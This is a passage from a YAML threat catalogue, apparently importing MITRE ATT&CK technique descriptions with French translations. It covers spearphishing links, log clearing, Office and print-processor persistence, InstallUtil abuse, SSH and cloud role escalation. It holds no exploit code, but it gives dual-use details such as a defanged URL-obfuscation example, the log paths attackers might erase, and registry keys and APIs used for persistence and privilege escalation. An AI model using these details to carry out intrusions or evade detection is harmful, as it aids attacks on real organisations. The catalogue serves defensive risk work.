      \ Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)\n\
      https://attack.mitre.org/techniques/T1566/002"
    translations:
      fr:
        name: Lien vers le spearphishing
        description: "\"Des adversaires peuvent envoyer des courriels de spearphishing\
          \ avec un lien malveillant pour tenter d'acc\xE9der aux syst\xE8mes des\
          \ victimes. Le spearphishing avec lien est une variante sp\xE9cifique du\
          \ spearphishing. Elle se distingue des autres formes de spearphishing par\
          \ l'utilisation de liens pour t\xE9l\xE9charger des logiciels malveillants\
          \ contenus dans le courrier \xE9lectronique, au lieu de joindre des fichiers\
          \ malveillants au courrier \xE9lectronique lui-m\xEAme, afin d'\xE9viter\
          \ les d\xE9fenses qui peuvent inspecter les pi\xE8ces jointes des courriers\
          \ \xE9lectroniques. Le spearphishing peut \xE9galement faire appel \xE0\
          \ des techniques d'ing\xE9nierie sociale, par exemple en se faisant passer\
          \ pour une source fiable.\n\nToutes les formes de spearphishing sont des\
          \ techniques d'ing\xE9nierie sociale diffus\xE9es par voie \xE9lectronique\
          \ et visant une personne, une entreprise ou un secteur d'activit\xE9 sp\xE9\
          cifique. Dans ce cas, les courriels malveillants contiennent des liens.\
          \ G\xE9n\xE9ralement, les liens sont accompagn\xE9s d'un texte d'ing\xE9\
          nierie sociale et demandent \xE0 l'utilisateur de cliquer activement ou\
          \ de copier-coller une URL dans un navigateur, en tirant parti de l'[Ex\xE9\
          cution par l'utilisateur] (https://attack.mitre.org/techniques/T1204). Le\
          \ site web visit\xE9 peut compromettre le navigateur web \xE0 l'aide d'un\
          \ exploit, ou l'utilisateur sera invit\xE9 \xE0 t\xE9l\xE9charger des applications,\
          \ des documents, des fichiers zip, voire des ex\xE9cutables, en fonction\
          \ du pr\xE9texte de l'envoi du courrier \xE9lectronique.\n\nLes adversaires\
          \ peuvent \xE9galement inclure des liens destin\xE9s \xE0 interagir directement\
          \ avec un lecteur de courrier \xE9lectronique, y compris des images int\xE9\
          gr\xE9es destin\xE9es \xE0 exploiter directement le syst\xE8me final. En\
          \ outre, les adversaires peuvent utiliser des liens apparemment inoffensifs\
          \ qui abusent de caract\xE8res sp\xE9ciaux pour imiter des sites web l\xE9\
          gitimes (ce que l'on appelle une \xAB attaque par homographe IDN \xBB).\
          \ (Citation : CISA IDN ST05-016) Les URL peuvent \xE9galement \xEAtre obscurcies\
          \ en tirant parti de bizarreries dans le sch\xE9ma URL, telles que l'acceptation\
          \ de formats de noms d'h\xF4tes bas\xE9s sur des nombres entiers ou hexad\xE9\
          cimaux et le rejet automatique du texte pr\xE9c\xE9dant le symbole \xAB\
          \ @ \xBB : par exemple, `hxxp://google.com@1157586937`. (Citation : Mandiant\
          \ URL Obfuscation 2023)\n\nLes adversaires peuvent \xE9galement utiliser\
          \ des liens pour effectuer du phishing de consentement, g\xE9n\xE9ralement\
          \ avec des URL de demande OAuth 2.0 qui, lorsqu'elles sont accept\xE9es\
          \ par l'utilisateur, fournissent des autorisations/acc\xE8s \xE0 des applications\
          \ malveillantes, permettant aux adversaires de [Steal Application Access\
          \ Token](https://attack.mitre.org/techniques/T1528)s.(Citation : Trend Micro\
          \ Pawn Storm OAuth 2017) Ces jetons d'acc\xE8s vol\xE9s permettent \xE0\
          \ l'adversaire d'effectuer diverses actions au nom de l'utilisateur par\
          \ le biais d'appels API. (Citation : Microsoft OAuth 2.0 Consent Phishing\
          \ 2021)\n\nLes adversaires peuvent \xE9galement utiliser des liens de spearphishing\
          \ pour [Steal Application Access Token] (https://attack.mitre.org/techniques/T1528)\
          \ qui donnent un acc\xE8s imm\xE9diat \xE0 l'environnement de la victime.\
          \ Par exemple, un utilisateur peut \xEAtre incit\xE9, par le biais d'un\
          \ \xAB phishing de consentement \xBB, \xE0 accorder \xE0 des adversaires\
          \ des autorisations/acc\xE8s via une URL de demande OAuth 2.0 malveillante\
          \ (Citation : Trend Micro Pawn Storm OAuth 2017) (Citation : Microsoft OAuth\
          \ 2.0 Consent Phishing 2021).\n\nDe m\xEAme, les liens malveillants peuvent\
          \ \xE9galement cibler l'autorisation bas\xE9e sur l'appareil, comme le flux\
          \ d'autorisation d'appareil OAuth 2.0 qui est g\xE9n\xE9ralement utilis\xE9\
          \ pour authentifier les appareils sans interface utilisateur/navigateur.\
          \ Connu sous le nom de \"phishing du code de l'appareil\", un adversaire\
          \ peut envoyer un lien qui dirige la victime vers une page d'autorisation\
          \ malveillante o\xF9 l'utilisateur est incit\xE9 \xE0 saisir un code/des\
          \ informations d'identification qui produisent un jeton d'appareil.(Citation\
          \ : SecureWorks Device Code Phishing 2021)(Citation : Netskope Device Code\
          \ Phishing 2021)(Citation : Optiv Device Code Phishing 2021)\nhttps://attack.mitre.org/techniques/T1566/002\""
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.002
    ref_id: T1070.002
    name: Clear Linux or Mac System Logs
    description: 'Adversaries may clear system logs to hide evidence of an intrusion.
      macOS and Linux both keep track of system or user-initiated actions via system
      logs. The majority of native system logging is stored under the <code>/var/log/</code>
      directory. Subfolders in this directory categorize logs by their related functions,
      such as:(Citation: Linux Logs)


      * <code>/var/log/messages:</code>: General and system-related messages

      * <code>/var/log/secure</code> or <code>/var/log/auth.log</code>: Authentication
      logs

      * <code>/var/log/utmp</code> or <code>/var/log/wtmp</code>: Login records

      * <code>/var/log/kern.log</code>: Kernel logs

      * <code>/var/log/cron.log</code>: Crond logs

      * <code>/var/log/maillog</code>: Mail server logs

      * <code>/var/log/httpd/</code>: Web server access and error logs

      https://attack.mitre.org/techniques/T1070/002'
    translations:
      fr:
        name: "Effacer les journaux syst\xE8me Linux ou Mac"
        description: "Les adversaires peuvent effacer les journaux du syst\xE8me pour\
          \ masquer les preuves d\u2019une intrusion. macOS et Linux gardent tous\
          \ deux une trace des actions du syst\xE8me ou de l\u2019utilisateur via\
          \ les journaux syst\xE8me. La majorit\xE9 de la journalisation native du\
          \ syst\xE8me est stock\xE9e dans le r\xE9pertoire <code>/var/log/</code>.\
          \ Les sous-dossiers de ce r\xE9pertoire classent les journaux en fonction\
          \ de leurs fonctions associ\xE9es, telles que :(Citation : Linux Logs)\n\
          \n* <code>/var/log/messages :</code>: Messages g\xE9n\xE9raux et li\xE9\
          s au syst\xE8me\n* <code>/var/log/secure</code> ou <code>/var/log/auth.log</code>\
          \ : journaux d\u2019authentification\n* <code>/var/log/utmp</code> ou <code>/var/log/wtmp</code>\
          \ : enregistrements de connexion\n* <code>/var/log/kern.log</code> : Journaux\
          \ du noyau\n* <code>/var/log/cron.log</code> : Journaux de Crond\n* <code>/var/log/maillog</code>\
          \ : journaux du serveur de messagerie\n* <code>/var/log/httpd/</code> :\
          \ Acc\xE8s au serveur Web et journaux d\u2019erreurs\nhttps://attack.mitre.org/techniques/T1070/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1499.004
    ref_id: T1499.004
    name: Application or System Exploitation
    description: 'Adversaries may exploit software vulnerabilities that can cause
      an application or system to crash and deny availability to users. (Citation:
      Sucuri BIND9 August 2015) Some systems may automatically restart critical applications
      and services when crashes occur, but they can likely be re-exploited to cause
      a persistent denial of service (DoS) condition.


      Adversaries may exploit known or zero-day vulnerabilities to crash applications
      and/or systems, which may also lead to dependent applications and/or systems
      to be in a DoS condition. Crashed or restarted applications or systems may also
      have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485),
      [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489)
      etc. which may further cause a DoS condition and deny availability to critical
      information, applications and/or systems.

      https://attack.mitre.org/techniques/T1499/004'
    translations:
      fr:
        name: "Exploitation d\u2019une application ou d\u2019un syst\xE8me"
        description: "Les adversaires peuvent exploiter des vuln\xE9rabilit\xE9s logicielles\
          \ qui peuvent provoquer le blocage d\u2019une application ou d\u2019un syst\xE8\
          me et emp\xEAcher les utilisateurs d\u2019en avoir la disponibilit\xE9.\
          \ (Citation : Sucuri BIND9 ao\xFBt 2015) Certains syst\xE8mes peuvent red\xE9\
          marrer automatiquement des applications et des services critiques en cas\
          \ de panne, mais ils peuvent probablement \xEAtre r\xE9exploit\xE9s pour\
          \ provoquer une condition de d\xE9ni de service persistant (DoS).\n\nLes\
          \ adversaires peuvent exploiter des vuln\xE9rabilit\xE9s connues ou zero-day\
          \ pour faire planter des applications et/ou des syst\xE8mes, ce qui peut\
          \ \xE9galement conduire \xE0 ce que des applications et/ou des syst\xE8\
          mes d\xE9pendants soient dans une condition de d\xE9ni de service. Les applications\
          \ ou syst\xE8mes bloqu\xE9s ou red\xE9marr\xE9s peuvent \xE9galement avoir\
          \ d\u2019autres effets tels que [Destruction de donn\xE9es](https://attack.mitre.org/techniques/T1485),\
          \ [Corruption du micrologiciel](https://attack.mitre.org/techniques/T1495),\
          \ [Arr\xEAt de service](https://attack.mitre.org/techniques/T1489), etc.,\
          \ qui peuvent provoquer une condition de d\xE9ni de service et emp\xEAcher\
          \ la disponibilit\xE9 d\u2019informations, d\u2019applications et/ou de\
          \ syst\xE8mes critiques.\nhttps://attack.mitre.org/techniques/T1499/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1137
    ref_id: T1137
    name: Office Application Startup
    description: 'Adversaries may leverage Microsoft Office-based applications for
      persistence between startups. Microsoft Office is a fairly common application
      suite on Windows-based operating systems within an enterprise network. There
      are multiple mechanisms that can be used with Office for persistence when an
      Office-based application is started; this can include the use of Office Template
      Macros and add-ins.


      A variety of features have been discovered in Outlook that can be abused to
      obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost
      Ruler GitHub) These persistence mechanisms can work within Outlook or be used
      through Office 365.(Citation: TechNet O365 Outlook Rules)

      https://attack.mitre.org/techniques/T1137'
    translations:
      fr:
        name: "D\xE9marrage de l\u2019application Office"
        description: "Les adversaires peuvent exploiter les applications bas\xE9es\
          \ sur Microsoft Office pour la persistance entre les startups. Microsoft\
          \ Office est une suite d\u2019applications assez courante sur les syst\xE8\
          mes d\u2019exploitation Windows au sein d\u2019un r\xE9seau d\u2019entreprise.\
          \ Il existe plusieurs m\xE9canismes qui peuvent \xEAtre utilis\xE9s avec\
          \ Office pour la persistance lorsqu\u2019une application bas\xE9e sur Office\
          \ est d\xE9marr\xE9e ; cela peut inclure l\u2019utilisation de macros et\
          \ de compl\xE9ments de mod\xE8le Office.\n\nDiverses fonctionnalit\xE9s\
          \ ont \xE9t\xE9 d\xE9couvertes dans Outlook qui peuvent \xEAtre utilis\xE9\
          es de mani\xE8re abusive pour obtenir la persistance, telles que les r\xE8\
          gles Outlook, les formulaires et la page d\u2019accueil. (Citation : SensePost\
          \ Ruler GitHub) Ces m\xE9canismes de persistance peuvent fonctionner dans\
          \ Outlook ou \xEAtre utilis\xE9s via Office 365. (Citation : R\xE8gles TechNet\
          \ O365 Outlook)\nhttps://attack.mitre.org/techniques/T1137"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.004
    ref_id: T1218.004
    name: InstallUtil
    description: 'Adversaries may use InstallUtil to proxy execution of code through
      a trusted Windows utility. InstallUtil is a command-line utility that allows
      for installation and uninstallation of resources by executing specific installer
      components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil
      binary may also be digitally signed by Microsoft and located in the .NET directories
      on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code>
      and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>.


      InstallUtil may also be used to bypass application control through use of attributes
      within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.
      (Citation: LOLBAS Installutil)

      https://attack.mitre.org/techniques/T1218/004'
    translations:
      fr:
        name: InstallUtil
        description: "Les adversaires peuvent utiliser InstallUtil pour ex\xE9cuter\
          \ du code par proxy via un utilitaire Windows approuv\xE9. InstallUtil est\
          \ un utilitaire de ligne de commande qui permet d\u2019installer et de d\xE9\
          sinstaller des ressources en ex\xE9cutant des composants d\u2019installation\
          \ sp\xE9cifiques sp\xE9cifi\xE9s dans les fichiers binaires .NET. (Citation\
          \ : MSDN InstallUtil) Le fichier binaire InstallUtil peut \xE9galement \xEA\
          tre sign\xE9 num\xE9riquement par Microsoft et situ\xE9 dans les r\xE9pertoires\
          \ .NET d\u2019un syst\xE8me Windows : <code>C\_:\\Windows\\Microsoft.NET\\\
          Framework\\v<version>\\InstallUtil.exe</code> et <code>C\_:\\Windows\\Microsoft.NET\\\
          Framework64\\v<version>\\InstallUtil.exe</code>.\n\nInstallUtil peut \xE9\
          galement \xEAtre utilis\xE9 pour contourner le contr\xF4le de l\u2019application\
          \ en utilisant des attributs dans le binaire qui ex\xE9cutent la classe\
          \ d\xE9cor\xE9e avec l\u2019attribut <code>[System.ComponentModel.RunInstaller(true)]</code>.\
          \ (Citation : LOLBAS Installutil)\nhttps://attack.mitre.org/techniques/T1218/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1598.003
    ref_id: T1598.003
    name: Spearphishing Link
    description: "Adversaries may send spearphishing messages with a malicious link\
      \ to elicit sensitive information that can be used during targeting. Spearphishing\
      \ for information is an attempt to trick targets into divulging information,\
      \ frequently credentials or other actionable information. Spearphishing for\
      \ information frequently involves social engineering techniques, such as posing\
      \ as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585)\
      \ or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or\
      \ sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing\
      \ are electronically delivered social engineering targeted at a specific individual,\
      \ company, or industry. In this scenario, the malicious emails contain links\
      \ generally accompanied by social engineering text to coax the user to actively\
      \ click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation:\
      \ PCMag FakeLogin) The given website may be a clone of a legitimate site (such\
      \ as an online or corporate login portal) or may closely resemble a legitimate\
      \ site in appearance and have a URL containing elements from the real site.\
      \ URLs may also be obfuscated by taking advantage of quirks in the URL schema,\
      \ such as the acceptance of integer- or hexadecimal-based hostname formats and\
      \ the automatic discarding of text before an \u201C@\u201D symbol: for example,\
      \ `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\
      \nAdversaries may also embed \u201Ctracking pixels\u201D, \"web bugs\", or \"\
      web beacons\" within phishing messages to verify the receipt of an email, while\
      \ also potentially profiling and tracking victim information such as IP address.(Citation:\
      \ NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small\
      \ images (typically one pixel in size) or otherwise obfuscated objects and are\
      \ typically delivered as HTML code containing a link to a remote server. (Citation:\
      \ Ryte Wiki)(Citation: IAPP)\n\nAdversaries may also be able to spoof a complete\
      \ website using what is known as a \"browser-in-the-browser\" (BitB) attack.\
      \ By generating a fake browser popup window with an HTML-based address bar that\
      \ appears to contain a legitimate URL (such as an authentication portal), they\
      \ may be able to prompt users to enter their credentials while bypassing typical\
      \ URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB\
      \ 2022)\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2`\
      \ to perform adversary-in-the-middle phishing by proxying the connection between\
      \ the victim and the legitimate website. On a successful login, the victim is\
      \ redirected to the legitimate website, while the adversary captures their session\
      \ cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539))\
      \ in addition to their username and password. This may enable the adversary\
      \ to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation:\
      \ Proofpoint Human Factor)\n\nAdversaries may also send a malicious link in\
      \ the form of Quick Response (QR) Codes (also known as \u201Cquishing\u201D\
      ). These links may direct a victim to a credential phishing page.(Citation:\
      \ QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in\
      \ the email and may thus go undetected by most automated email security scans.(Citation:\
      \ qr-phish-agriculture) These QR codes may be scanned by or delivered directly\
      \  to a user\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)),\
      \ which may be less secure in several relevant ways.(Citation: qr-phish-agriculture)\
      \ For example, mobile users may not be able to notice minor differences between\
      \ genuine and credential harvesting websites due to mobile\u2019s smaller form\
      \ factor.\n\nFrom the fake website, information is gathered in web forms and\
      \ sent to the adversary. Adversaries may also use information from previous\
      \ reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)\
      \ or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594))\
      \ to craft persuasive and believable lures.\nhttps://attack.mitre.org/techniques/T1598/003"
    translations:
      fr:
        name: Lien vers le spearphishing
        description: "\"Les adversaires peuvent envoyer des messages de spearphishing\
          \ avec un lien malveillant pour obtenir des informations sensibles qui peuvent\
          \ \xEAtre utilis\xE9es lors du ciblage. Le spearphishing pour obtenir des\
          \ informations est une tentative de tromper les cibles pour qu'elles divulguent\
          \ des informations, souvent des informations d'identification ou d'autres\
          \ informations exploitables. Le spearphishing pour obtenir des informations\
          \ fait souvent appel \xE0 des techniques d'ing\xE9nierie sociale, telles\
          \ que se faire passer pour une source ayant une raison de collecter des\
          \ informations (ex : [\xC9tablir des comptes](https://attack.mitre.org/techniques/T1585)\
          \ ou [Compromettre des comptes](https://attack.mitre.org/techniques/T1586))\
          \ et/ou envoyer de multiples messages apparemment urgents.\n\nToutes les\
          \ formes de spearphishing sont des techniques d'ing\xE9nierie sociale diffus\xE9\
          es par voie \xE9lectronique et cibl\xE9es sur une personne, une entreprise\
          \ ou un secteur d'activit\xE9 sp\xE9cifique. Dans ce sc\xE9nario, les courriels\
          \ malveillants contiennent des liens g\xE9n\xE9ralement accompagn\xE9s d'un\
          \ texte d'ing\xE9nierie sociale visant \xE0 inciter l'utilisateur \xE0 cliquer\
          \ activement ou \xE0 copier et coller une URL dans un navigateur. (Citation\
          \ : TrendMictro Phishing) (Citation : PCMag FakeLogin) Le site web donn\xE9\
          \ peut \xEAtre un clone d'un site l\xE9gitime (tel qu'un portail de connexion\
          \ en ligne ou d'entreprise) ou peut ressembler \xE9troitement \xE0 un site\
          \ l\xE9gitime en apparence et avoir une URL contenant des \xE9l\xE9ments\
          \ du site r\xE9el. Les URL peuvent \xE9galement \xEAtre obscurcies en tirant\
          \ parti de bizarreries dans le sch\xE9ma URL, telles que l'acceptation de\
          \ formats de noms d'h\xF4tes bas\xE9s sur des nombres entiers ou hexad\xE9\
          cimaux et l'\xE9limination automatique du texte pr\xE9c\xE9dant le symbole\
          \ \xAB @ \xBB : par exemple, `hxxp://google.com@1157586937`.(Citation :\
          \ Mandiant URL Obfuscation 2023)\n\nLes adversaires peuvent \xE9galement\
          \ int\xE9grer des \xAB pixels de suivi \xBB, des \xAB web bugs \xBB ou des\
          \ \xAB web beacons \xBB dans les messages d'hame\xE7onnage pour v\xE9rifier\
          \ la r\xE9ception d'un courriel, tout en \xE9tablissant potentiellement\
          \ un profil et en suivant les informations de la victime telles que l'adresse\
          \ IP (Citation : NIST Web Bug) (Citation : Ryte Wiki) Ces m\xE9canismes\
          \ apparaissent souvent sous la forme de petites images (g\xE9n\xE9ralement\
          \ d'une taille d'un pixel) ou d'autres objets obscurcis et sont g\xE9n\xE9\
          ralement livr\xE9s sous forme de code HTML contenant un lien vers un serveur\
          \ distant (Citation : Ryte Wiki). (Citation : Ryte Wiki)(Citation : IAPP)\n\
          \nLes adversaires peuvent \xE9galement \xEAtre en mesure d'usurper un site\
          \ web complet en utilisant ce qui est connu sous le nom d'attaque \xAB browser-in-the-browser\
          \ \xBB (BitB). En g\xE9n\xE9rant une fausse fen\xEAtre contextuelle de navigateur\
          \ avec une barre d'adresse HTML qui semble contenir une URL l\xE9gitime\
          \ (comme un portail d'authentification), ils peuvent \xEAtre en mesure d'inviter\
          \ les utilisateurs \xE0 saisir leurs informations d'identification tout\
          \ en contournant les m\xE9thodes habituelles de v\xE9rification des URL.(Citation\
          \ : ZScaler BitB 2020)(Citation : Mr. D0x BitB 2022)\n\nLes adversaires\
          \ peuvent utiliser des kits d'hame\xE7onnage tels que `EvilProxy` et `Evilginx2`\
          \ pour effectuer un hame\xE7onnage de type adversary-in-the-middle (adversaire\
          \ au milieu) en \xE9tablissant une connexion entre la victime et le site\
          \ web l\xE9gitime. Lors d'une connexion r\xE9ussie, la victime est redirig\xE9\
          e vers le site web l\xE9gitime, tandis que l'adversaire capture son cookie\
          \ de session (c'est-\xE0-dire [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539))\
          \ en plus de son nom d'utilisateur et de son mot de passe. Cela peut permettre\
          \ \xE0 l'adversaire de contourner le MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).\
          \ (Citation : Proofpoint Human Factor)\n\n\nLes adversaires peuvent \xE9\
          galement envoyer un lien malveillant sous la forme d'un code de r\xE9ponse\
          \ rapide (QR) (\xE9galement connu sous le nom de \xAB quishing \xBB). Ces\
          \ liens peuvent diriger la victime vers une page d'hame\xE7onnage d'informations\
          \ d'identification (Citation : QR-campaign-energy-firm). En utilisant un\
          \ code QR, l'URL peut ne pas \xEAtre expos\xE9e dans l'e-mail et peut donc\
          \ ne pas \xEAtre d\xE9tect\xE9e par la plupart des analyses automatiques\
          \ de s\xE9curit\xE9 des e-mails (Citation : qr-phish-agriculture). Ces codes\
          \ QR peuvent \xEAtre scann\xE9s par l'appareil mobile de l'utilisateur ou\
          \ lui \xEAtre envoy\xE9s directement (c'est-\xE0-dire, [Phishing] (https://attack.mitre.org/techniques/T1660)),\
          \ ce qui peut \xEAtre moins s\xFBr \xE0 plusieurs \xE9gards. (Citation :\
          \ qr-phish-agriculture) Par exemple, les utilisateurs mobiles peuvent ne\
          \ pas \xEAtre en mesure de remarquer les diff\xE9rences mineures entre les\
          \ sites Web authentiques et les sites Web de collecte d'informations d'identification\
          \ en raison du facteur de forme plus petit du t\xE9l\xE9phone portable.\n\
          \nSur le faux site web, les informations sont recueillies dans des formulaires\
          \ web et envoy\xE9es \xE0 l'adversaire. Les adversaires peuvent \xE9galement\
          \ utiliser des informations provenant d'efforts de reconnaissance ant\xE9\
          rieurs (par exemple : [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)\
          \ ou [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594))\
          \ pour cr\xE9er des leurres persuasifs et cr\xE9dibles.\nhttps://attack.mitre.org/techniques/T1598/003\""
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021.004
    ref_id: T1021.004
    name: SSH
    description: "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ to log into remote machines using Secure Shell (SSH). The adversary may then\
      \ perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized\
      \ users to open remote shells on other computers. Many Linux and macOS versions\
      \ come with SSH installed by default, although typically disabled until the\
      \ user enables it. The SSH server can be configured to use standard password\
      \ authentication or public-private keypairs in lieu of or in addition to a password.\
      \ In this authentication scenario, the user\u2019s public key must be in a special\
      \ file on the computer running the server that lists which keypairs are allowed\
      \ to login as that user.\nhttps://attack.mitre.org/techniques/T1021/004"
    translations:
      fr:
        name: SSH
        description: "Les adversaires peuvent utiliser [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ pour se connecter \xE0 des machines distantes \xE0 l\u2019aide de Secure\
          \ Shell (SSH). L\u2019adversaire peut alors effectuer des actions en tant\
          \ qu\u2019utilisateur connect\xE9.\n\nSSH est un protocole qui permet aux\
          \ utilisateurs autoris\xE9s d\u2019ouvrir des shells distants sur d\u2019\
          autres ordinateurs. De nombreuses versions de Linux et macOS sont livr\xE9\
          es avec SSH install\xE9 par d\xE9faut, bien qu\u2019il soit g\xE9n\xE9ralement\
          \ d\xE9sactiv\xE9 jusqu\u2019\xE0 ce que l\u2019utilisateur l\u2019active.\
          \ Le serveur SSH peut \xEAtre configur\xE9 pour utiliser l\u2019authentification\
          \ par mot de passe standard ou des paires de cl\xE9s public-priv\xE9 \xE0\
          \ la place ou en plus d\u2019un mot de passe. Dans ce sc\xE9nario d\u2019\
          authentification, la cl\xE9 publique de l\u2019utilisateur doit se trouver\
          \ dans un fichier sp\xE9cial sur l\u2019ordinateur ex\xE9cutant le serveur\
          \ qui r\xE9pertorie les paires de cl\xE9s autoris\xE9es \xE0 se connecter\
          \ en tant qu\u2019utilisateur.\nhttps://attack.mitre.org/techniques/T1021/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1098.003
    ref_id: T1098.003
    name: Additional Cloud Roles
    description: "An adversary may add additional roles or permissions to an adversary-controlled\
      \ cloud account to maintain persistent access to a tenant. For example, adversaries\
      \ may update IAM policies in cloud-based environments or add a new global administrator\
      \ in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation:\
      \ Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin,\
      \ October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions,\
      \ a compromised account can gain almost unlimited access to data and settings\
      \ (including the ability to reset the passwords of other admins).(Citation:\
      \ Expel AWS Attacker)\n(Citation: Microsoft O365 Admin Roles) \n\nThis account\
      \ modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136)\
      \ or other malicious account activity. Adversaries may also modify existing\
      \ [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have\
      \ compromised. This could lead to privilege escalation, particularly if the\
      \ roles added allow for lateral movement to additional accounts.\n\nFor example,\
      \ in AWS environments, an adversary with appropriate permissions may be able\
      \ to use the <code>CreatePolicyVersion</code> API to define a new version of\
      \ an IAM policy or the <code>AttachUserPolicy</code> API to attach an IAM policy\
      \ with additional or distinct permissions to a compromised user account.(Citation:\
      \ Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries\
      \ may add roles to adversary-controlled accounts outside the victim cloud tenant.\
      \ This allows these external accounts to perform actions inside the victim tenant\
      \ without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136)\
      \ or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)\n\
      https://attack.mitre.org/techniques/T1098/003"
    translations:
      fr:
        name: "R\xF4les Cloud suppl\xE9mentaires"
        description: "Un adversaire peut ajouter des r\xF4les ou des autorisations\
          \ suppl\xE9mentaires \xE0 un compte cloud contr\xF4l\xE9 par l\u2019adversaire\
          \ pour maintenir un acc\xE8s persistant \xE0 un locataire. Par exemple,\
          \ les adversaires peuvent mettre \xE0 jour les strat\xE9gies IAM dans les\
          \ environnements bas\xE9s sur le cloud ou ajouter un nouvel administrateur\
          \ g\xE9n\xE9ral dans les environnements Office 365. (R\xE9f\xE9rence : Politiques\
          \ et autorisations AWS IAM)(Citation : Politiques IAM de Google Cloud)(Citation\
          \ : Microsoft Support O365 Ajouter un autre administrateur, octobre 2019)(Citation\
          \ : R\xF4les d\u2019administrateur Microsoft O365) Avec des autorisations\
          \ suffisantes, un compte compromis peut obtenir un acc\xE8s presque illimit\xE9\
          \ aux donn\xE9es et aux param\xE8tres (y compris la possibilit\xE9 de r\xE9\
          initialiser les mots de passe d\u2019autres administrateurs). (Citation\
          \ : Expulser l\u2019attaquant AWS)\n(Citation : R\xF4les d\u2019administrateur\
          \ Microsoft O365) \n\nCette modification de compte peut imm\xE9diatement\
          \ suivre [Cr\xE9er un compte](https://attack.mitre.org/techniques/T1136)\
          \ ou toute autre activit\xE9 malveillante du compte. Les adversaires peuvent\
          \ \xE9galement modifier les [Comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ existants qu\u2019ils ont compromis. Cela peut entra\xEEner une \xE9l\xE9\
          vation de privil\xE8ges, en particulier si les r\xF4les ajout\xE9s permettent\
          \ un mouvement lat\xE9ral vers des comptes suppl\xE9mentaires.\n\nPar exemple,\
          \ dans les environnements AWS, un adversaire disposant des autorisations\
          \ appropri\xE9es peut \xEAtre en mesure d\u2019utiliser l\u2019API <code>CreatePolicyVersion</code>\
          \ pour d\xE9finir une nouvelle version d\u2019une strat\xE9gie IAM ou l\u2019\
          API <code>AttachUserPolicy</code> pour attacher une strat\xE9gie IAM avec\
          \ des autorisations suppl\xE9mentaires ou distinctes \xE0 un compte d\u2019\
          utilisateur compromis. (Citation : Rhino Security Labs AWS Privilege Escalation)\n\
          \nDans certains cas, les adversaires peuvent ajouter des r\xF4les \xE0 des\
          \ comptes contr\xF4l\xE9s par des adversaires en dehors du locataire cloud\
          \ victime. Cela permet \xE0 ces comptes externes d\u2019effectuer des actions\
          \ \xE0 l\u2019int\xE9rieur du locataire victime sans que l\u2019adversaire\
          \ ait \xE0 [Cr\xE9er un compte](https://attack.mitre.org/techniques/T1136)\
          \ ou \xE0 modifier un compte appartenant \xE0 la victime. (Citation : Invictus\
          \ IR DangerDev 2024)\nhttps://attack.mitre.org/techniques/T1098/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1547.012
    ref_id: T1547.012
    name: Print Processors
    description: 'Adversaries may abuse print processors to run malicious DLLs during
      system boot for persistence and/or privilege escalation. Print processors are
      DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation:
      Microsoft Intro Print Processors)


      Adversaries may abuse the print spooler service by adding print processors that
      load malicious DLLs at startup. A print processor can be installed through the
      <code>AddPrintProcessor</code> API call with an account that has <code>SeLoadDriverPrivilege</code>
      enabled. Alternatively, a print processor can be registered to the print spooler
      service by adding the <code>HKLM\SYSTEM\\[CurrentControlSet or ControlSet001]\Control\Print\Environments\\[Windows
      architecture: e.g., Windows x64]\Print Processors\\[user defined]\Driver</code>
      Registry key that points to the DLL.


      For the malicious print processor to be correctly installed, the payload must
      be located in the dedicated system print-processor directory, that can be found
      with the <code>GetPrintProcessorDirectory</code> API call, or referenced via
      a relative path from this directory.(Citation: Microsoft AddPrintProcessor May
      2018) After the print processors are installed, the print spooler service, which
      starts during boot, must be restarted in order for them to run.(Citation: ESET
      PipeMon May 2020)


      The print spooler service runs under SYSTEM level permissions, therefore print
